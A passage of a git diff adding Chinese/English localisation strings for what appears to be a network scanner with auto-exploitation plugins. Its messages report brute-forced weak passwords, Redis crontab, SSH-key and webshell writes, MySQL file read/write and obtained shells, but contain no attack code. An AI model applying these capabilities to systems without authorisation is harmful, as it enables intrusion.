+ LangEN: "Initializing output system", + }, + "output_init_success": { + LangZH: "输出系统初始化成功", + LangEN: "Output system initialized successfully", + }, + "output_init_failed": { + LangZH: "输出系统初始化失败: %v", + LangEN: "Failed to initialize output system: %v", + }, + "output_format_invalid": { + LangZH: "无效的输出格式: %s", + LangEN: "Invalid output format: %s", + }, + "output_path_empty": { + LangZH: "输出路径为空", + LangEN: "Output path is empty", + }, + "output_not_init": { + LangZH: "输出系统未初始化", + LangEN: "Output system not initialized", + }, + "output_saving_result": { + LangZH: "保存扫描结果: %s -> %s", + LangEN: "Saving scan result: %s -> %s", + }, + "output_save_failed": { + LangZH: "保存结果失败: %v", + LangEN: "Failed to save result: %v", + }, + "output_closing": { + LangZH: "关闭输出系统", + LangEN: "Closing output system", + }, + "output_closed": { + LangZH: "输出系统已关闭", + LangEN: "Output system closed", + }, + "output_close_failed": { + LangZH: "关闭输出系统失败: %v", + LangEN: "Failed to close output system: %v", + }, + "output_config_nil": { + LangZH: "配置不能为空", + LangEN: "Configuration cannot be nil", + }, + "output_unsupported_format": { + LangZH: "不支持的输出格式: %s", + LangEN: "Unsupported output format: %s", + }, + "output_writer_init_failed": { + LangZH: "初始化写入器失败: %v", + LangEN: "Failed to initialize writer: %v", + }, + "output_writer_closed": { + LangZH: "写入器已关闭", + LangEN: "Writer is closed", + }, + "output_manager_not_init": { + LangZH: "输出管理器未初始化", + LangEN: "Output manager not initialized", + }, + "output_manager_closed": { + LangZH: "输出管理器已关闭", + LangEN: "Output manager is closed", + }, + "output_write_failed": { + LangZH: "写入结果失败: %v", + LangEN: "Failed to write result: %v", + }, + "output_flush_failed": { + LangZH: "刷新写入器失败: %v", + LangEN: "Failed to flush writer: %v", + }, + "output_create_file_failed": { + LangZH: "创建%s文件失败: %v", + LangEN: "Failed to create %s file: %v", + }, + "output_write_header_failed": { + LangZH: "写入CSV头部失败: %v", + LangEN: "Failed to write CSV header: %v", + }, + "output_open_file_failed": { + LangZH: "打开CSV文件失败: %v", + LangEN: "Failed to open CSV file: %v", + }, + "output_read_file_failed": { + LangZH: "读取CSV文件失败: %v", + LangEN: "Failed to read CSV file: %v", + }, + "output_parse_time_failed": { + LangZH: "无法解析时间: %s", + LangEN: "Failed to parse time: %s", + }, +} \ No newline at end of file diff --git a/common/i18n/messages/parse.go b/common/i18n/messages/parse.go new file mode 100644 index 0000000..ed2a5f0 --- /dev/null +++ b/common/i18n/messages/parse.go @@ -0,0 +1,287 @@ +package messages + +/* +parse.go - 解析相关消息 + +包含参数解析、目标解析、凭据解析等相关的 +国际化消息定义。 +*/ + +// ParseMessages 解析相关消息 +var ParseMessages = map[string]map[string]string{ + // ========================= 解析错误消息 ========================= + "parse_error_empty_input": { + LangZH: "输入参数为空", + LangEN: "Input parameters are empty", + }, + "parse_error_config_failed": { + LangZH: "解析配置失败: %v", + LangEN: "Failed to parse configuration: %v", + }, + "parse_error_parser_not_init": { + LangZH: "解析器未初始化", + LangEN: "Parser not initialized", + }, + "parse_error_credential_failed": { + LangZH: "凭据解析失败: %v", + LangEN: "Failed to parse credentials: %v", + }, + "parse_error_target_failed": { + LangZH: "目标解析失败: %v", + LangEN: "Failed to parse targets: %v", + }, + "parse_error_network_failed": { + LangZH: "网络解析失败: %v", + LangEN: "Failed to parse network configuration: %v", + }, + "parse_error_validation_failed": { + LangZH: "验证失败: %v", + LangEN: "Validation failed: %v", + }, + "parse_error_update_vars_failed": { + LangZH: "更新全局变量失败: %v", + LangEN: "Failed to update global variables: %v", + }, + "parse_error_target_empty": { + LangZH: "目标输入为空", + LangEN: "Target input is empty", + }, + "parse_error_credential_empty": { + LangZH: "凭据输入为空", + LangEN: "Credential input is empty", + }, + "parse_error_network_empty": { + LangZH: "网络配置为空", + LangEN: "Network configuration is empty", + }, + "parse_error_invalid_ip": { + LangZH: "无效的IP地址: %s", + LangEN: "Invalid IP address: %s", + }, + "parse_error_invalid_port": { + LangZH: "无效的端口: %s", + LangEN: "Invalid port: %s", + }, + "parse_error_invalid_url": { + LangZH: "无效的URL: %s", + LangEN: "Invalid URL: %s", + }, + "parse_error_file_not_found": { + LangZH: "文件未找到: %s", + LangEN: "File not found: %s", + }, + "parse_error_file_read_failed": { + LangZH: "读取文件失败: %s", + LangEN: "Failed to read file: %s", + }, + + // ========================= 目标解析消息 ========================= + "target_parse_start": { + LangZH: "开始解析目标", + LangEN: "Starting target parsing", + }, + "target_parse_complete": { + LangZH: "目标解析完成", + LangEN: "Target parsing completed", + }, + "target_hosts_found": { + LangZH: "目标主机: %s", + LangEN: "Target hosts: %s", + }, + "target_hosts_count": { + LangZH: "目标主机: %s ... (共%d个)", + LangEN: "Target hosts: %s ... (total %d)", + }, + "target_urls_found": { + LangZH: "目标URL: %s", + LangEN: "Target URLs: %s", + }, + "target_urls_count": { + LangZH: "目标URL: %s ... (共%d个)", + LangEN: "Target URLs: %s ... (total %d)", + }, + "target_ports_found": { + LangZH: "扫描端口: %s", + LangEN: "Scan ports: %s", + }, + "target_ports_count": { + LangZH: "扫描端口: %s ... (共%d个)", + LangEN: "Scan ports: %s ... (total %d)", + }, + "target_exclude_ports": { + LangZH: "排除端口: %s", + LangEN: "Exclude ports: %s", + }, + "target_local_mode": { + LangZH: "本地扫描模式", + LangEN: "Local scan mode", + }, + + // ========================= 凭据相关消息 ========================= + "credential_username_count": { + LangZH: "用户名数量: %d", + LangEN: "Username count: %d", + }, + "credential_password_count": { + LangZH: "密码数量: %d", + LangEN: "Password count: %d", + }, + "credential_hash_count": { + LangZH: "Hash数量: %d", + LangEN: "Hash count: %d", + }, + + // ========================= Parsers包专用消息 ========================= + "parser_validation_input_empty": { + LangZH: "验证输入为空", + LangEN: "Validation input is empty", + }, + "parser_empty_input": { + LangZH: "输入参数为空", + LangEN: "Input parameters are empty", + }, + "parser_file_empty": { + LangZH: "文件名为空", + LangEN: "File name is empty", + }, + "parser_file_too_big": { + LangZH: "文件过大: %d bytes, 最大限制: %d bytes", + LangEN: "File too large: %d bytes, max limit: %d bytes", + }, + "parser_cannot_open_file": { + LangZH: "无法打开文件", + LangEN: "Cannot open file", + }, + "parser_file_not_exists": { + LangZH: "文件不存在或无法访问", + LangEN: "File does not exist or cannot be accessed", + }, + "parser_file_read_timeout": { + LangZH: "文件读取超时", + LangEN: "File read timeout", + }, + "parser_file_scan_failed": { + LangZH: "文件扫描失败", + LangEN: "File scan failed", + }, + "parser_username_too_long": { + LangZH: "用户名过长: %d字符,最大允许: %d", + LangEN: "Username too long: %d characters, max allowed: %d", + }, + "parser_username_invalid_chars": { + LangZH: "用户名包含非法字符", + LangEN: "Username contains invalid characters", + }, + "parser_password_empty": { + LangZH: "不允许空密码", + LangEN: "Empty passwords not allowed", + }, + "parser_password_too_long": { + LangZH: "密码过长: %d字符,最大允许: %d", + LangEN: "Password too long: %d characters, max allowed: %d", + }, + "parser_hash_empty": { + LangZH: "哈希值为空", + LangEN: "Hash value is empty", + }, + "parser_hash_invalid_format": { + LangZH: "哈希值格式无效,需要32位十六进制字符", + LangEN: "Invalid hash format, requires 32-character hexadecimal", + }, + "parser_proxy_url_invalid": { + LangZH: "代理URL格式无效: %v", + LangEN: "Invalid proxy URL format: %v", + }, + "parser_proxy_protocol_unsupported": { + LangZH: "不支持的代理协议: %s", + LangEN: "Unsupported proxy protocol: %s", + }, + "parser_proxy_host_empty": { + LangZH: "代理主机名为空", + LangEN: "Proxy hostname is empty", + }, + "parser_proxy_port_invalid": { + LangZH: "代理端口号无效: %s", + LangEN: "Invalid proxy port: %s", + }, + "parser_proxy_port_out_of_range": { + LangZH: "代理端口号超出范围: %d", + LangEN: "Proxy port out of range: %d", + }, + "parser_proxy_insecure": { + LangZH: "不允许使用不安全的HTTP代理", + LangEN: "Insecure HTTP proxy not allowed", + }, + "parser_user_agent_too_long": { + LangZH: "用户代理字符串过长", + LangEN: "User agent string too long", + }, + "parser_user_agent_invalid_chars": { + LangZH: "用户代理包含非法字符", + LangEN: "User agent contains invalid characters", + }, + "parser_cookie_too_long": { + LangZH: "Cookie字符串过长", + LangEN: "Cookie string too long", + }, + "parser_error_count_limit": { + LangZH: "错误数量过多,仅显示前%d个", + LangEN: "Too many errors, showing only first %d", + }, + "parser_no_scan_target": { + LangZH: "未指定任何扫描目标", + LangEN: "No scan targets specified", + }, + "parser_no_target_default": { + LangZH: "未指定扫描目标,将使用默认配置", + LangEN: "No scan targets specified, using default configuration", + }, + "parser_multiple_scan_modes": { + LangZH: "不能同时使用多种扫描模式", + LangEN: "Cannot use multiple scan modes simultaneously", + }, + "parser_proxy_ping_warning": { + LangZH: "使用代理时建议禁用Ping检测", + LangEN: "Recommend disabling Ping detection when using proxy", + }, + "parser_multiple_modes_conflict": { + LangZH: "不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)", + LangEN: "Cannot specify multiple scan modes (host scan, URL scan, local mode) simultaneously", + }, + "parser_proxy_ping_fail": { + LangZH: "代理模式下Ping检测可能失效", + LangEN: "Ping detection may fail in proxy mode", + }, + "parser_exclude_ports_invalid": { + LangZH: "排除端口无效", + LangEN: "Exclude ports invalid", + }, + "parser_many_targets_warning": { + LangZH: "大量目标(%d),可能耗时较长", + LangEN: "Large number of targets (%d), may take a long time", + }, + "parser_too_many_ports": { + LangZH: "端口数量过多", + LangEN: "Too many ports", + }, + "parser_timeout_too_short": { + LangZH: "超时过短", + LangEN: "Timeout too short", + }, + "parser_timeout_too_long": { + LangZH: "超时过长", + LangEN: "Timeout too long", + }, + "parser_invalid_scan_mode": { + LangZH: "无效的扫描模式: %s", + LangEN: "Invalid scan mode: %s", + }, + "parse_error_invalid_target_format": { + LangZH: "无效的目标地址格式: %s", + LangEN: "Invalid target address format: %s", + }, + "parse_error_no_hosts": { + LangZH: "解析后没有找到有效的目标主机", + LangEN: "No valid target hosts found after parsing", + }, +} \ No newline at end of file diff --git a/common/i18n/messages/plugins.go b/common/i18n/messages/plugins.go new file mode 100644 index 0000000..3f3bab0 --- /dev/null +++ b/common/i18n/messages/plugins.go @@ -0,0 +1,903 @@ +package messages + +/* +plugins.go - 插件相关消息 + +包含新插件架构中各种插件的国际化消息定义, +包括扫描、利用、认证等相关消息。 +*/ + +// PluginMessages 插件相关消息 +var PluginMessages = map[string]map[string]string{ + // ========================= 通用插件消息 ========================= + "plugin_init": { + LangZH: "初始化插件: %s", + LangEN: "Initializing plugin: %s", + }, + "plugin_scan_start": { + LangZH: "开始%s插件扫描: %s", + LangEN: "Starting %s plugin scan: %s", + }, + "plugin_scan_success": { + LangZH: "%s扫描成功: %s", + LangEN: "%s scan successful: %s", + }, + "plugin_scan_failed": { + LangZH: "%s插件扫描失败: %v", + LangEN: "%s plugin scan failed: %v", + }, + "plugin_exploit_start": { + LangZH: "开始%s自动利用: %s", + LangEN: "Starting %s auto exploitation: %s", + }, + "plugin_exploit_success": { + LangZH: "%s利用成功: %s", + LangEN: "%s exploitation successful: %s", + }, + "plugin_exploit_failed": { + LangZH: "%s利用失败: %v", + LangEN: "%s exploitation failed: %v", + }, + + // ========================= 通用成功消息模板 ========================= + "plugin_login_success": { + LangZH: "%s弱密码: %s [%s:%s]", + LangEN: "%s weak password: %s [%s:%s]", + }, + "plugin_login_success_passwd_only": { + LangZH: "%s弱密码: %s [%s]", + LangEN: "%s weak password: %s [%s]", + }, + "plugin_unauthorized_access": { + LangZH: "%s未授权访问: %s", + LangEN: "%s unauthorized access: %s", + }, + + // ========================= 利用(Exploit)消息模板 ========================= + "exploit_weak_password_success": { + LangZH: "%s %s 弱密码利用成功", + LangEN: "%s %s weak password exploit successful", + }, + "exploit_unauthorized_success": { + LangZH: "%s %s 未授权访问利用成功", + LangEN: "%s %s unauthorized access exploit successful", + }, + "exploit_command_exec_success": { + LangZH: "%s %s 命令执行利用成功", + LangEN: "%s %s command execution exploit successful", + }, + "exploit_file_write_success": { + LangZH: "%s %s 文件写入利用成功", + LangEN: "%s %s file write exploit successful", + }, + "exploit_sql_injection_success": { + LangZH: "%s %s SQL注入利用成功", + LangEN: "%s %s SQL injection exploit successful", + }, + "exploit_data_extraction_success": { + LangZH: "%s %s %s 利用成功", + LangEN: "%s %s %s exploit successful", + }, + "exploit_generic_success": { + LangZH: "%s %s %s 利用成功", + LangEN: "%s %s %s exploit successful", + }, + "exploit_with_output": { + LangZH: " 输出: %s", + LangEN: " output: %s", + }, + "exploit_files_created": { + LangZH: "创建/修改的文件: %v", + LangEN: "Files created/modified: %v", + }, + "exploit_shell_obtained": { + LangZH: "获得Shell: %s %s:%d 用户:%s", + LangEN: "Shell obtained: %s %s:%d user:%s", + }, + + // ========================= 利用方法执行消息 ========================= + "exploit_method_trying": { + LangZH: "尝试利用方法: %s", + LangEN: "Trying exploit method: %s", + }, + "exploit_method_success": { + LangZH: "利用方法 %s 执行成功", + LangEN: "Exploit method %s executed successfully", + }, + "exploit_method_failed": { + LangZH: "利用方法 %s 执行失败: %v", + LangEN: "Exploit method %s failed: %v", + }, + "exploit_method_condition_not_met": { + LangZH: "利用方法 %s 前置条件不满足,跳过", + LangEN: "Exploit method %s prerequisites not met, skipping", + }, + "exploit_all_methods_failed": { + LangZH: "所有利用方法都失败", + LangEN: "All exploit methods failed", + }, + + // ========================= MySQL利用方法消息 ========================= + "mysql_version_info": { + LangZH: "MySQL版本: %s", + LangEN: "MySQL version: %s", + }, + "mysql_current_user": { + LangZH: "当前用户: %s", + LangEN: "Current user: %s", + }, + "mysql_current_database": { + LangZH: "当前数据库: %s", + LangEN: "Current database: %s", + }, + "mysql_databases_found": { + LangZH: "发现数据库: %s", + LangEN: "Databases found: %s", + }, + "mysql_tables_found": { + LangZH: "发现表: %v", + LangEN: "Tables found: %v", + }, + "mysql_user_privileges": { + LangZH: "用户权限: %s", + LangEN: "User privileges: %s", + }, + "mysql_file_privilege_detected": { + LangZH: "检测到FILE权限,可能支持文件操作", + LangEN: "FILE privilege detected, file operations may be supported", + }, + "mysql_file_read_success": { + LangZH: "读取文件 %s:\n%s", + LangEN: "File %s read:\n%s", + }, + "mysql_file_write_success": { + LangZH: "成功写入文件: %s", + LangEN: "File written successfully: %s", + }, + "mysql_no_file_privilege": { + LangZH: "无法读取任何文件,可能没有FILE权限", + LangEN: "Cannot read any files, may lack FILE privilege", + }, + + // ========================= Redis利用方法消息 ========================= + "redis_server_info": { + LangZH: "Redis服务器信息: %s", + LangEN: "Redis server info: %s", + }, + "redis_config_info": { + LangZH: "Redis配置信息: %s", + LangEN: "Redis config info: %s", + }, + "redis_keys_found": { + LangZH: "发现Redis键: %v", + LangEN: "Redis keys found: %v", + }, + "redis_backup_created": { + LangZH: "Redis备份创建成功: %s", + LangEN: "Redis backup created: %s", + }, + "redis_cron_job_written": { + LangZH: "Cron任务写入成功: %s", + LangEN: "Cron job written successfully: %s", + }, + "redis_ssh_key_written": { + LangZH: "SSH密钥写入成功: %s", + LangEN: "SSH key written successfully: %s", + }, + "redis_webshell_written": { + LangZH: "Webshell写入成功: %s", + LangEN: "Webshell written successfully: %s", + }, + "redis_no_keys_found": { + LangZH: "未发现任何Redis键", + LangEN: "No Redis keys found", + }, + "redis_write_failed": { + LangZH: "Redis写入操作失败", + LangEN: "Redis write operation failed", + }, + + // ========================= 插件架构消息 ========================= + "plugin_new_arch_trying": { + LangZH: "尝试使用新插件架构: %s", + LangEN: "Trying new plugin architecture: %s", + }, + "plugin_new_arch_success": { + LangZH: "新插件架构处理成功: %s", + LangEN: "New plugin architecture successful: %s", + }, + "plugin_new_arch_fallback": { + LangZH: "新插件架构失败,回退到传统实现: %s - %v", + LangEN: "New plugin architecture failed, falling back to legacy: %s - %v", + }, + "plugin_legacy_using": { + LangZH: "插件 %s 不支持新架构,使用传统实现", + LangEN: "Plugin %s not supported in new architecture, using legacy", + }, + + // ========================= MySQL插件消息 ========================= + "mysql_scan_start": { + LangZH: "开始MySQL扫描: %s", + LangEN: "Starting MySQL scan: %s", + }, + "mysql_scan_success": { + LangZH: "MySQL弱密码扫描成功: %s [%s:%s]", + LangEN: "MySQL weak password scan successful: %s [%s:%s]", + }, + "mysql_service_identified": { + LangZH: "MySQL服务识别成功: %s - %s", + LangEN: "MySQL service identified: %s - %s", + }, + "mysql_connection_failed": { + LangZH: "MySQL连接失败: %v", + LangEN: "MySQL connection failed: %v", + }, + "mysql_auth_failed": { + LangZH: "MySQL认证失败: %v", + LangEN: "MySQL authentication failed: %v", + }, + "mysql_exploit_info_gather": { + LangZH: "MySQL信息收集成功", + LangEN: "MySQL information gathering successful", + }, + "mysql_exploit_db_enum": { + LangZH: "MySQL数据库枚举成功", + LangEN: "MySQL database enumeration successful", + }, + "mysql_exploit_file_write": { + LangZH: "MySQL文件写入成功: %s", + LangEN: "MySQL file write successful: %s", + }, + "mysql_exploit_file_read": { + LangZH: "MySQL文件读取成功: %s", + LangEN: "MySQL file read successful: %s", + }, + + // ========================= Redis插件消息 ========================= + "redis_scan_start": { + LangZH: "开始Redis扫描: %s", + LangEN: "Starting Redis scan: %s", + }, + "redis_unauth_success": { + LangZH: "Redis未授权访问: %s", + LangEN: "Redis unauthorized access: %s", + }, + "redis_weak_pwd_success": { + LangZH: "Redis弱密码扫描成功: %s [%s]", + LangEN: "Redis weak password scan successful: %s [%s]", + }, + "redis_service_identified": { + LangZH: "Redis服务识别成功: %s - %s", + LangEN: "Redis service identified: %s - %s", + }, + "redis_connection_failed": { + LangZH: "Redis连接失败: %v", + LangEN: "Redis connection failed: %v", + }, + "redis_auth_failed": { + LangZH: "Redis认证失败: %v", + LangEN: "Redis authentication failed: %v", + }, + "redis_exploit_file_write": { + LangZH: "Redis任意文件写入成功: %s", + LangEN: "Redis arbitrary file write successful: %s", + }, + "redis_exploit_ssh_key": { + LangZH: "Redis SSH密钥注入成功", + LangEN: "Redis SSH key injection successful", + }, + "redis_exploit_crontab": { + LangZH: "Redis定时任务注入成功", + LangEN: "Redis crontab injection successful", + }, + "redis_exploit_data_extract": { + LangZH: "Redis数据提取成功", + LangEN: "Redis data extraction successful", + }, + + // ========================= SSH插件消息 ========================= + "ssh_scan_start": { + LangZH: "开始SSH扫描: %s", + LangEN: "Starting SSH scan: %s", + }, + "ssh_key_auth_success": { + LangZH: "SSH密钥认证成功: %s [%s]", + LangEN: "SSH key authentication successful: %s [%s]", + }, + "ssh_pwd_auth_success": { + LangZH: "SSH密码认证成功: %s [%s:%s]", + LangEN: "SSH password authentication successful: %s [%s:%s]", + }, + "ssh_service_identified": { + LangZH: "SSH服务识别成功: %s - %s", + LangEN: "SSH service identified: %s - %s", + }, + "ssh_connection_failed": { + LangZH: "SSH连接失败: %v", + LangEN: "SSH connection failed: %v", + }, + "ssh_auth_failed": { + LangZH: "SSH认证失败: %v", + LangEN: "SSH authentication failed: %v", + }, + "ssh_key_read_failed": { + LangZH: "读取SSH私钥失败: %v", + LangEN: "Failed to read SSH private key: %v", + }, + + // ========================= 通用错误消息 ========================= + "plugin_brute_disabled": { + LangZH: "暴力破解已禁用", + LangEN: "Brute force disabled", + }, + "plugin_no_credentials": { + LangZH: "没有可用的凭据", + LangEN: "No credentials available", + }, + "plugin_all_creds_failed": { + LangZH: "所有凭据扫描失败", + LangEN: "All credential scans failed", + }, + "plugin_invalid_port": { + LangZH: "无效的端口号: %s", + LangEN: "Invalid port number: %s", + }, + "plugin_timeout": { + LangZH: "插件扫描超时", + LangEN: "Plugin scan timeout", + }, + "plugin_vuln_found": { + LangZH: "%s发现漏洞: %s - %s", + LangEN: "%s vulnerability found: %s - %s", + }, + + // ========================= 利用方法名称i18n ========================= + "exploit_method_name_information_gathering": { + LangZH: "信息收集", + LangEN: "information_gathering", + }, + "exploit_method_name_database_enumeration": { + LangZH: "数据库枚举", + LangEN: "database_enumeration", + }, + "exploit_method_name_privilege_check": { + LangZH: "权限检查", + LangEN: "privilege_check", + }, + "exploit_method_name_file_read": { + LangZH: "文件读取", + LangEN: "file_read", + }, + "exploit_method_name_file_write": { + LangZH: "文件写入", + LangEN: "file_write", + }, + "exploit_method_name_arbitrary_file_write": { + LangZH: "任意文件写入", + LangEN: "arbitrary_file_write", + }, + "exploit_method_name_ssh_key_write": { + LangZH: "SSH密钥写入", + LangEN: "ssh_key_write", + }, + "exploit_method_name_crontab_injection": { + LangZH: "定时任务注入", + LangEN: "crontab_injection", + }, + "exploit_method_name_data_extraction": { + LangZH: "数据提取", + LangEN: "data_extraction", + }, + "exploit_method_name_system_info": { + LangZH: "系统信息收集", + LangEN: "system_info", + }, + "exploit_method_name_command_test": { + LangZH: "命令执行测试", + LangEN: "command_test", + }, + + // ========================= SSH利用方法消息 ========================= + "ssh_command_result": { + LangZH: "%s: %s", + LangEN: "%s: %s", + }, + "ssh_test_command": { + LangZH: "执行命令 '%s': %s", + LangEN: "Executed command '%s': %s", + }, + "ssh_sudo_check": { + LangZH: "Sudo权限: %s", + LangEN: "Sudo privileges: %s", + }, + "ssh_root_access": { + LangZH: "检测到root权限访问", + LangEN: "Root access detected", + }, + "ssh_user_groups": { + LangZH: "用户组: %s", + LangEN: "User groups: %s", + }, + + // ========================= 利用结果消息 ========================= + "exploit_result_saved": { + LangZH: "利用结果已保存: %s", + LangEN: "Exploitation result saved: %s", + }, + + // ========================= ActiveMQ插件消息 ========================= + "activemq_scan_start": { + LangZH: "开始ActiveMQ扫描: %s", + LangEN: "Starting ActiveMQ scan: %s", + }, + "activemq_stomp_scan_success": { + LangZH: "ActiveMQ弱密码扫描成功(STOMP): %s [%s:%s]", + LangEN: "ActiveMQ weak password scan successful(STOMP): %s [%s:%s]", + }, + "activemq_service_identified": { + LangZH: "ActiveMQ服务识别成功: %s (%s) - %s", + LangEN: "ActiveMQ service identified: %s (%s) - %s", + }, + "activemq_stomp_auth_success": { + LangZH: "ActiveMQ STOMP认证成功: %s@%s:%d", + LangEN: "ActiveMQ STOMP authentication successful: %s@%s:%d", + }, + "activemq_connection_failed": { + LangZH: "ActiveMQ连接失败: %v", + LangEN: "ActiveMQ connection failed: %v", + }, + "activemq_auth_failed": { + LangZH: "ActiveMQ认证失败: %v", + LangEN: "ActiveMQ authentication failed: %v", + }, + "activemq_stomp_auth_failed": { + LangZH: "ActiveMQ STOMP认证失败: %v", + LangEN: "ActiveMQ STOMP authentication failed: %v", + }, + + // ActiveMQ利用方法消息 + "activemq_exploit_info_gather": { + LangZH: "ActiveMQ信息收集成功", + LangEN: "ActiveMQ information gathering successful", + }, + "activemq_exploit_message_enum": { + LangZH: "ActiveMQ消息枚举成功", + LangEN: "ActiveMQ message enumeration successful", + }, + "activemq_exploit_queue_mgmt": { + LangZH: "ActiveMQ队列管理成功", + LangEN: "ActiveMQ queue management successful", + }, + "activemq_exploit_config_dump": { + LangZH: "ActiveMQ配置转储成功", + LangEN: "ActiveMQ configuration dump successful", + }, + "activemq_queues_found": { + LangZH: "发现ActiveMQ队列: %s", + LangEN: "ActiveMQ queues found: %s", + }, + "activemq_topics_found": { + LangZH: "发现ActiveMQ主题: %s", + LangEN: "ActiveMQ topics found: %s", + }, + "activemq_queue_created": { + LangZH: "成功创建测试队列: %s", + LangEN: "Test queue created successfully: %s", + }, + "activemq_message_sent": { + LangZH: "消息发送成功到队列: %s", + LangEN: "Message sent successfully to queue: %s", + }, + "activemq_version_info": { + LangZH: "ActiveMQ版本: %s", + LangEN: "ActiveMQ version: %s", + }, + "activemq_broker_info": { + LangZH: "ActiveMQ Broker信息: %s", + LangEN: "ActiveMQ Broker info: %s", + }, + "activemq_protocol_detected": { + LangZH: "检测到ActiveMQ协议: %s", + LangEN: "ActiveMQ protocol detected: %s", + }, + + // ActiveMQ利用方法名称 + "exploit_method_name_activemq_info_gather": { + LangZH: "信息收集", + LangEN: "Information Gathering", + }, + "exploit_method_name_activemq_message_enum": { + LangZH: "消息枚举", + LangEN: "Message Enumeration", + }, + "exploit_method_name_activemq_queue_mgmt": { + LangZH: "队列管理", + LangEN: "Queue Management", + }, + "exploit_method_name_activemq_config_dump": { + LangZH: "配置转储", + LangEN: "Configuration Dump", + }, + + // ========================= FTP插件消息 ========================= + "ftp_scan_start": { + LangZH: "开始FTP扫描: %s", + LangEN: "Starting FTP scan: %s", + }, + "ftp_anonymous_success": { + LangZH: "FTP匿名访问: %s", + LangEN: "FTP anonymous access: %s", + }, + "ftp_weak_pwd_success": { + LangZH: "FTP弱密码: %s [%s:%s]", + LangEN: "FTP weak password: %s [%s:%s]", + }, + "ftp_service_identified": { + LangZH: "FTP服务识别成功: %s - %s", + LangEN: "FTP service identified: %s - %s", + }, + "ftp_connection_failed": { + LangZH: "FTP连接失败: %v", + LangEN: "FTP connection failed: %v", + }, + "ftp_auth_failed": { + LangZH: "FTP认证失败: %v", + LangEN: "FTP authentication failed: %v", + }, + + // FTP利用方法消息 + "ftp_exploit_dir_enum": { + LangZH: "FTP目录枚举成功", + LangEN: "FTP directory enumeration successful", + }, + "ftp_exploit_file_download": { + LangZH: "FTP文件下载测试成功", + LangEN: "FTP file download test successful", + }, + "ftp_exploit_file_upload": { + LangZH: "FTP文件上传测试成功", + LangEN: "FTP file upload test successful", + }, + + // ========================= IMAP插件消息 ========================= + "imap_weak_pwd_success": { + LangZH: "IMAP弱密码: %s [%s:%s]", + LangEN: "IMAP weak password: %s [%s:%s]", + }, + "imap_service_identified": { + LangZH: "IMAP服务识别成功: %s - %s", + LangEN: "IMAP service identified: %s - %s", + }, + "imap_connection_failed": { + LangZH: "IMAP连接失败: %v", + LangEN: "IMAP connection failed: %v", + }, + "imap_auth_failed": { + LangZH: "IMAP认证失败: %v", + LangEN: "IMAP authentication failed: %v", + }, + + // ========================= Kafka插件消息 ========================= + "kafka_weak_pwd_success": { + LangZH: "Kafka弱密码: %s [%s:%s]", + LangEN: "Kafka weak password: %s [%s:%s]", + }, + "kafka_unauth_access": { + LangZH: "Kafka服务 %s 无需认证即可访问", + LangEN: "Kafka service %s allows unauthorized access", + }, + "kafka_service_identified": { + LangZH: "Kafka服务识别成功: %s - %s", + LangEN: "Kafka service identified: %s - %s", + }, + "kafka_connection_failed": { + LangZH: "Kafka连接失败: %v", + LangEN: "Kafka connection failed: %v", + }, + "kafka_auth_failed": { + LangZH: "Kafka认证失败: %v", + LangEN: "Kafka authentication failed: %v", + }, + "ftp_directory_found": { + LangZH: "发现FTP目录: %s", + LangEN: "FTP directories found: %s", + }, + "ftp_file_found": { + LangZH: "发现FTP文件: %s", + LangEN: "FTP files found: %s", + }, + "ftp_upload_success": { + LangZH: "FTP文件上传成功: %s", + LangEN: "FTP file upload successful: %s", + }, + "ftp_download_success": { + LangZH: "FTP文件下载成功: %s", + LangEN: "FTP file download successful: %s", + }, + + // FTP利用方法名称 + "exploit_method_name_directory_enumeration": { + LangZH: "目录枚举", + LangEN: "Directory Enumeration", + }, + "exploit_method_name_file_download_test": { + LangZH: "文件下载测试", + LangEN: "File Download Test", + }, + "exploit_method_name_file_upload_test": { + LangZH: "文件上传测试", + LangEN: "File Upload Test", + }, + + // ========================= LDAP插件消息 ========================= + "ldap_weak_pwd_success": { + LangZH: "LDAP弱密码: %s [%s:%s]", + LangEN: "LDAP weak password: %s [%s:%s]", + }, + "ldap_anonymous_access": { + LangZH: "LDAP服务 %s 匿名访问成功", + LangEN: "LDAP service %s anonymous access successful", + }, + "ldap_service_identified": { + LangZH: "LDAP服务识别成功: %s - %s", + LangEN: "LDAP service identified: %s - %s", + }, + "ldap_connection_failed": { + LangZH: "LDAP连接失败: %v", + LangEN: "LDAP connection failed: %v", + }, + "ldap_auth_failed": { + LangZH: "LDAP认证失败: %v", + LangEN: "LDAP authentication failed: %v", + }, + + // ========================= Memcached插件消息 ========================= + "memcached_unauth_access": { + LangZH: "Memcached服务 %s 未授权访问成功", + LangEN: "Memcached service %s unauthorized access successful", + }, + "memcached_service_identified": { + LangZH: "Memcached服务识别成功: %s - %s", + LangEN: "Memcached service identified: %s - %s", + }, + "memcached_connection_failed": { + LangZH: "Memcached连接失败: %v", + LangEN: "Memcached connection failed: %v", + }, + + // ========================= Modbus插件消息 ========================= + "modbus_unauth_access": { + LangZH: "Modbus服务 %s 无认证访问成功", + LangEN: "Modbus service %s unauthorized access successful", + }, + "modbus_device_info": { + LangZH: "设备信息: %s", + LangEN: "Device info: %s", + }, + "modbus_service_identified": { + LangZH: "Modbus服务识别成功: %s - %s", + LangEN: "Modbus service identified: %s - %s", + }, + "modbus_connection_failed": { + LangZH: "Modbus连接失败: %v", + LangEN: "Modbus connection failed: %v", + }, + + // ========================= MongoDB插件消息 ========================= + "mongodb_unauth_access": { + LangZH: "MongoDB服务 %s 未授权访问成功", + LangEN: "MongoDB service %s unauthorized access successful", + }, + "mongodb_service_identified": { + LangZH: "MongoDB服务识别成功: %s - %s", + LangEN: "MongoDB service identified: %s - %s", + }, + "mongodb_connection_failed": { + LangZH: "MongoDB连接失败: %v", + LangEN: "MongoDB connection failed: %v", + }, + "mongodb_auth_failed": { + LangZH: "MongoDB认证失败: %v", + LangEN: "MongoDB authentication failed: %v", + }, + + // ========================= MSSQL插件消息 ========================= + "mssql_auth_success": { + LangZH: "MSSQL服务 %s 认证成功 %s:%s", + LangEN: "MSSQL service %s authentication successful %s:%s", + }, + "mssql_service_identified": { + LangZH: "MSSQL服务识别成功: %s - %s", + LangEN: "MSSQL service identified: %s - %s", + }, + "mssql_connection_failed": { + LangZH: "MSSQL连接失败: %v", + LangEN: "MSSQL connection failed: %v", + }, + "mssql_auth_failed": { + LangZH: "MSSQL认证失败 %s: %v", + LangEN: "MSSQL authentication failed %s: %v", + }, + + // ========================= Neo4j插件消息 ========================= + "neo4j_unauth_access": { + LangZH: "Neo4j服务 %s 未授权访问成功", + LangEN: "Neo4j service %s unauthorized access successful", + }, + "neo4j_default_creds": { + LangZH: "Neo4j服务 %s 